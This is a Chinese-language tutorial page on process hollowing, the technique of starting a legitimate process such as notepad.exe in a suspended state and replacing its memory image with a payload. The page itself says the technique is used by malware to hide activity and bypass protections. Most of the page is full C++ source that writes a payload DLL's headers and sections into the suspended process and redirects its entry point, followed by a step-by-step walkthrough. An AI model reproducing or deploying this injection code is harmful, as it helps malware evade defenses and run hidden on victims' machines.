跳到主要内容

进程挂钩注入介绍

镂空注入(Hollow Process Injection)又称 进程挂钩(Process Hollowing)是一种高级的进程注入技术,常用于恶意软件和安全研究。该技术通过替换目标进程的内存映像,将恶意代码注入到合法进程中,以隐藏其活动并绕过防护措施。具体步骤如下:

  1. 创建目标进程:创建一个合法的进程,该进程将被注入恶意代码。
  2. 暂停目标进程:在目标进程初始化之前暂停它。
  3. 替换目标进程的内存:将目标进程的内存替换为恶意代码。
  4. 恢复目标进程:恢复目标进程的执行,使其运行恶意代码。

以下是一个简化的示例,展示如何实现镂空注入技术。这个示例将一个合法进程(如 notepad.exe)的内存替换为恶意代码(一个简单的 DLL),并使其执行。

示例代码

#include <windows.h>
#include <iostream>

void HollowProcessInjection(const char* targetProcess, const char* payloadPath) {
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi;

// 创建目标进程(暂停状态)
if (!CreateProcessA(targetProcess, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
std::cerr << "Failed to create target process" << std::endl;
return;
}

// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
if (hProcess == NULL) {
std::cerr << "Failed to open target process" << std::endl;
TerminateProcess(pi.hProcess, 0);
return;
}

// 读取目标进程的PE头
BYTE* pTargetImageBase = NULL;
DWORD bytesRead;
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;

if (!GetThreadContext(pi.hThread, &ctx)) {
std::cerr << "Failed to get thread context" << std::endl;
TerminateProcess(pi.hProcess, 0);
return;
}

ReadProcessMemory(hProcess, (LPCVOID)(ctx.Ebx + 8), &pTargetImageBase, sizeof(BYTE*), &bytesRead);

// 打开并读取负载DLL
HANDLE hFile = CreateFileA(payloadPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open payload DLL" << std::endl;
TerminateProcess(pi.hProcess, 0);
return;
}

DWORD payloadSize = GetFileSize(hFile, NULL);
BYTE* pPayload = new BYTE[payloadSize];
ReadFile(hFile, pPayload, payloadSize, &bytesRead, NULL);
CloseHandle(hFile);

// 解析负载DLL的PE头
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pPayload;
IMAGE_NT_HEADERS* pNtHeaders = (IMAGE_NT_HEADERS*)(pPayload + pDosHeader->e_lfanew);

// 写入负载到目标进程
WriteProcessMemory(hProcess, pTargetImageBase, pPayload, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
IMAGE_SECTION_HEADER* pSectionHeader = (IMAGE_SECTION_HEADER*)(pPayload + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(hProcess, (BYTE*)pTargetImageBase + pSectionHeader->VirtualAddress, pPayload + pSectionHeader->PointerToRawData, pSectionHeader->SizeOfRawData, NULL);
}

// 设置目标进程的入口点
ctx.Eax = (DWORD)pTargetImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);

// 恢复目标进程
ResumeThread(pi.hThread);

// 清理
delete[] pPayload;
CloseHandle(hProcess);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}

int main() {
const char* targetProcess = "C:\\Windows\\System32\\notepad.exe";
const char* payloadPath = "C:\\path\\to\\payload.dll";

HollowProcessInjection(targetProcess, payloadPath);

return 0;
}

解释

  1. 创建目标进程:使用 CreateProcessA 创建一个目标进程(如 notepad.exe),并在其初始化之前暂停它。
  2. 获取目标进程的PE头信息:使用 GetThreadContextReadProcessMemory 获取目标进程的PE头信息,以确定其内存布局。
  3. 读取负载DLL:打开并读取负载 DLL(恶意代码)的内容到内存中。
  4. 解析负载DLL的PE头:解析负载 DLL 的PE头信息,以确定其各个部分的内存布局。
  5. 写入负载到目标进程:将负载 DLL 的头部和各个部分写入目标进程的内存中,覆盖原有的内存映像。
  6. 设置目标进程的入口点:修改目标进程的入口点,使其指向负载 DLL 的入口点。
  7. 恢复目标进程:使用 ResumeThread 恢复目标进程的执行,使其运行负载 DLL 中的代码。